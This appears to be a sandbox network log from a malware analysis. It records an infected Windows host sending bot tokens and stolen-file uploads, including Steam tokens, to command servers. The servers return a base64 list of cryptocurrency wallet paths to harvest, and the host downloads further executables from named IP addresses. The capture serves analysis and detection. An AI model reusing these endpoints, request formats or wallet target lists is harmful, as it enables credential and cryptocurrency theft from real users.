34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="message"wallets------CAKKEGDGCGDAKEBFIJEC--
Nov 19, 2024 01:02:06.472704887 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 19, 2024 01:02:06.478378057 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 2d 2d 0d 0a Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="message"files------DBGHJEBKJEGHJKECAAKJ--
Nov 19, 2024 01:02:06.761742115 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:02:06.807738066 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"------EHJKFCGHIDHCBGDHJKEB--
Nov 19, 2024 01:02:07.589570999 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:02:07.624260902 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 2d 2d 0d 0a Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="message"ybncbhylepme------JKJDBAAAEHIEGCAKFHCG--
Nov 19, 2024 01:02:07.908437967 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 19, 2024 01:02:10.209026098 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 2d 2d 0d 0a Data Ascii: ------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJEBKKEGDBFIIEBFHIEH--
Nov 19, 2024 01:02:10.985405922 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50105	185.215.113.16	80	5340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:07.918536901 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 19, 2024 01:02:08.819005966 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:08 GMT Content-Type: application/octet-stream Content-Length: 1925632 Last-Modified: Mon, 18 Nov 2024 23:55:46 GMT Connection: keep-alive ETag: "673bd402-1d6200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf L@PL@WkHDKK @.rsrcH@.idata @ +@lcjijwvnP1D@ecvanuxrL:@.taggant0 L"@@
Nov 19, 2024 01:02:08.819024086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:08.819040060 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:08.819159031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:08.819175005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:08.819190979 CET	1236	IN	Data Raw: 4f 2a 5d f7 a8 5c 00 90 20 a1 42 3b ec ad 4d 26 50 62 73 8c 96 a9 42 77 11 65 4c 26 0f 99 cc 5d 93 e3 00 07 38 ab 90 5e 00 78 b5 5d 10 63 f1 4a e0 3b f5 d5 6b b7 f3 96 e2 a9 0c d6 52 98 5b 57 a8 e5 5a 57 6f 11 ad 19 f3 c5 e4 59 02 05 51 05 8f 9a Data Ascii: O*]\ B;M&PbsBweL&]8^x]cJ;kR[WZWoYQL'[OWO\G=%B8$sm$Dr9u%iDxfsLB]X?Bw+BT`Yl@5c7qh-]z\+)AOC\X)thXI-
Nov 19, 2024 01:02:08.819211006 CET	1236	IN	Data Raw: c8 f5 88 da 83 43 b9 4d 3f cc 14 a6 18 f3 c1 d5 eb 5f 5f ef 5a fe 63 cf d0 e0 31 12 02 b2 26 68 4e cb 36 2c 36 78 6c 09 01 aa 62 d7 a7 67 a2 24 80 d2 f5 a6 0c 63 cc 6d 78 b9 2f 59 cb 83 d1 85 19 0c a1 cd d0 99 d1 f7 aa 91 cf a1 b8 63 8a a7 a2 14 Data Ascii: CM?__Zc1&hN6,6xlbg$cmx/YcZ0hkEiZ`oaK;M uk*q'm)UUQ/ej%gIyHFHso&6ljcwz R$Pt\`aD>>Pn#
Nov 19, 2024 01:02:08.819228888 CET	1236	IN	Data Raw: aa fe 82 61 63 77 74 1f 97 f0 cc 72 96 59 b1 ca b1 9e 90 55 c5 e6 ae eb 57 be 04 96 e7 cc 77 5b b0 a0 54 4c e3 2d e1 ad 90 41 f8 28 a8 f7 a6 2b 0d c6 f1 18 e1 92 3f f3 78 f6 7d 4f e9 99 f8 4f f2 59 27 26 a1 aa 94 25 8c 2d 6f f2 e2 09 db d4 0f bf Data Ascii: acwtrYUWw[TL-A(+?x}OOY'&%-o5yA,SYmie(7WK}Laq;(<~.2N$qUpH2y4J1ugM>[i&*Vp&!f3GN+IV!h[t#r-a]CCF#S-^r2
Nov 19, 2024 01:02:08.819246054 CET	960	IN	Data Raw: 76 ea 2c c8 52 99 ec e3 04 12 1b 25 71 8c dd 71 86 1c b1 e5 c8 8d fa c4 7b b9 0b 36 04 f8 55 b8 4b 4b c5 a5 1a 93 c3 d5 82 b5 11 18 e2 c3 7c 03 97 d3 59 a7 cd 63 c5 59 d8 71 b9 a0 d4 38 d8 66 4c 9c 59 fb b5 3b 71 f3 42 f5 53 67 52 4d f9 45 23 60 Data Ascii: v,R%qq{6UKK\|YcYq8fLY;qBSgRME#`nAAnSpROj#Afz&m6wWqwSD#.9y_%()~'Wjr3\X0?WLN*u387%ac4 -`48lqss8=}}_qb6UL(7Ec
Nov 19, 2024 01:02:08.819353104 CET	1236	IN	Data Raw: 46 93 aa df 43 59 55 83 01 e6 b4 25 fb 55 bd 27 c4 c4 b5 49 f1 b6 59 cf e0 12 fa ce 7a 59 cd 10 c8 c8 a3 c0 fa e0 0c 6d c4 19 bc 30 b1 8d 36 8f d0 16 57 0b 73 6d 73 9b 51 47 52 d2 bb 74 82 22 40 aa 54 8b 74 6b 1f a9 0c b5 bc 9c 42 69 21 ce 4c 5f Data Ascii: FCYU%U'IYzYm06WsmsQGRt"@TtkBi!L_EJxmqt7iZFH5qvg2\|\(i[J~Vq3q*SwM`3^z]v7PU3m4pU~+]xIyM/R4ynF\bLePXS
Nov 19, 2024 01:02:08.824275970 CET	1236	IN	Data Raw: 66 66 f9 bd af a1 81 9d 4a 88 71 41 18 be e8 33 28 42 d1 79 ef 93 27 bd 06 4f 20 1a a1 c4 68 d0 56 42 c1 0a 16 29 79 b8 f7 ac ec 3f 4e d0 11 dc bb 0a 96 c6 16 9f fc 4d fe db 28 98 ee 37 fc 1f 2a 18 ed 7a 44 b3 0f 63 c8 4d 74 96 a3 7b 63 79 21 6f Data Ascii: ffJqA3(By'O hVB)y?NM(7*zDcMt{cy!o$NnSMY^Z>bK`\!asVj \D.C{amsvoMH]14#x=+vp,qrod>#a}yYR{O)d}~,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50112	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:21.715296984 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:02:22.641805887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50113	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:24.151565075 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:02:25.062558889 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 32 36 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 32 37 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 32 37 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 32 37 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007265001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007274001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007275001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007276001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007277001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50114	31.41.244.11	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:25.075300932 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 19, 2024 01:02:25.960158110 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:25 GMT Content-Type: application/octet-stream Content-Length: 4412928 Last-Modified: Mon, 18 Nov 2024 22:16:54 GMT Connection: keep-alive ETag: "673bbcd6-435600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 00 ba 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 ba 00 00 04 00 00 a9 c1 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c ef b9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc ee b9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9g(Hg2H@0C@ _pes Pel'@.rsrc `e\|'@.idata pe\|'@ 8e~'@ezqiassj@'@grxfuzyp0C@.taggant0"4C@
Nov 19, 2024 01:02:25.960213900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
